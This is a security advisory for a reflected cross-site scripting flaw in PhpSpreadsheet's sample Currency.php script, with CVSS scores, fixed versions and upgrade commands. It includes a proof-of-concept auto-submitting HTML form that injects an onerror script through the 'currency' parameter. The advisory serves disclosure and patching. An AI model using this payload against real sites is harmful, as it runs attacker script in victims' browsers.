GHSA-j2xg-cjcx-4677
PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
Quick fix
GHSA-j2xg-cjcx-4677 — phpoffice/phpspreadsheet: upgrade to the fixed version with the command below.
composer require phpoffice/phpspreadsheet:^3.7.0Details
# Unauthorized Reflected XSS in `Currency.php` file
**Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the `currency` variable **Researcher**: Aleksey Solovev (Positive Technologies)
# Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.
There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack. Strings are formed using the `currency` parameter without sanitization, controlled by an attacker.
*Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization*
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*
``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ```
After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />
*Figure 10. Executing arbitrary JavaScript code*
# Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**
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Affected packages
3.0.0Fixed in: 3.7.0composer require phpoffice/phpspreadsheet:^3.7.00Fixed in: 1.29.7composer require phpoffice/phpspreadsheet:^1.29.72.0.0Fixed in: 2.1.6composer require phpoffice/phpspreadsheet:^2.1.62.2.0Fixed in: 2.3.5composer require phpoffice/phpspreadsheet:^2.3.50No fixed version published yet for phpoffice/phpexcel (composer). Pin to a known-safe version or switch to an alternative.